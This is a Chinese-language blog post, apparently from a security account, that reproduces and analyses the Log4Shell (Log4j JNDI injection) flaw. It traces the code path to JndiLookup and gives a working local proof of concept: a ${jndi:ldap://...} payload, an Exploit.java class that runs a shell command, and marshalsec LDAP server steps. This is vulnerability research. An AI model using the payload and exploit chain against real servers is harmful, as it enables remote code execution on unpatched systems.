Apache Log4j 漏洞利用分析
@[TOC](Apache Log4j 漏洞利用分析)
欢迎大家关注我的公众号“嘀嗒安全”
Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j2 依赖的组件都是数不清,更别提项目本身可能存在的风险了,复现漏洞来学习一下,希望可以帮助到大家。
一、影响范围
引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件
二、复现环境
Log4j-core 2.14.1
Marshalsec
JDK-1.8.0_221
三、 漏洞分析
测试代码如下:
#log4j,java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//The default trusturlcodebase of the higher version JDK is false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:1389/exploit1}");
}
}
#pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<!--
add properties to fix compilation error
source contribution from stack overflow link
https://stackoverflow.com/questions/53034953/error-source-option-5-is-no-longer-supported-use-6-or-later-on-maven-compile
-->
<properties>
<maven.compiler.source>6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
<!--
add assembly to fix noclassfound error in
java -cp log4j-rce-1.0-SNAPSHOT.jar log4j
use the following instead
java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j
source contribution from the following link
https://github.com/jeffli1024/log4j-rce-test/blob/main/apache-log4j-poc/pom.xml
-->
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.19.1</version>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
根据官方的修订信息:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
可以知道,是通过 jndi 中 LDAP 注入的方式实现了 RCE
JNDI lookup 的用法:
JndiLookup 允许通过 JNDI 检索变量,然后给了示例:
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>
实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下:
${jndi:JNDIContent}
既然明确了lookup
是触发漏洞的点,并且找到了可以触发 lookup
的方法 ,那么就可以找入口点,只要找到入口点,然后传入 jndi 调用 ldap 的方式,就能够实现 RCE。
那么,哪一个入口点可以传入${jndi:JNDIContent}
呢?
没错了,就是LogManager.getLogger().xxxx()
方法
在log4j2中,共有8 个日志级别,可以通过LogManager.getLogger()
调用记录日志的方法如下:
LogManager.getLogger().error()
LogManager.getLogger().fatal()
LogManager.getLogger().trace()
LogManager.getLogger().traceExit()
LogManager.getLogger().traceEntry()
LogManager.getLogger().info()
LogManager.getLogger().warn()
LogManager.getLogger().debug()
LogManager.getLogger().log()
LogManager.getLogger().printf()
上述列表中,error()
和fatal()
方法可默认触发漏洞,其余的方法需要配置日志级别才可以触发漏洞。
只有当当前事件的日志等级大于等于设置的日志等级时,才会符合条件,进入logMessage()
方法
由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。
查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java
中的public void error()
方法:
因为在logIfEnabled
方法中,对当前日志等级进行了一次判断:
如果符合,那么会进行logMessage
操作
后续不关键调用路径如下:
logMessage ---->
logMessageSafely ---->
logMessageTrackRecursion ---->
tryLogMessage ---->
log
不动态调试的情况下跟log
方法会到AbstractLogger.log
方法,实际上这里是org.apache.logging.log4j.core.Loggger.log
方法
Loggger.log ---->
DefaultReliabilityStrategy.log ---->
loggerConfig.log ---->
processLogEvent ---->
callAppenders---->
AppenderControl.callAppenders ---->
tryCallAppender ---->
AbstractOutputStreamAppender.append ---->
tryAppend ---->
directEncodeEvent ---->
PatternLayout.encode ---->
toText ---->
toSerializable ---->
format
这里的formatters
方法包含了多个formatter
对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter
继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;
如果检测到$
字符后跟了一个{
字符,那么会对直到}
中间的内容进行解析并replace
。
继续跟进就进入到了 StrSubstitutor的substitute函数下
这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法
prefixMatcher
是${
suffixMatcher
是}
其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info
变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName
进入resolveVariable
方法
进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中
而resolveVariable
这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup
就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}
在Interpolator.lookup
方法中,首先会获取字符串的前缀值:
如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup
类进一步处理:
最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。
四、 漏洞利用
1、 编写利用类
因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
public Exploit() throws IOException,InterruptedException{
String cmd="touch /tmp/xxx";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null) {
System.out.println(line); }
}catch (IOException e){
e.printStackTrace();
} }
}).start(); }}
编译代码后,
javac Exploit.java
开启HTTP服务
python -m http.server
2、 开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1
希望可以对大家有所帮助哦!!!
图片是我的公众号重新截图,所以有些模糊,大家见谅哦~
- 点赞
- 收藏
- 关注作者
评论(0)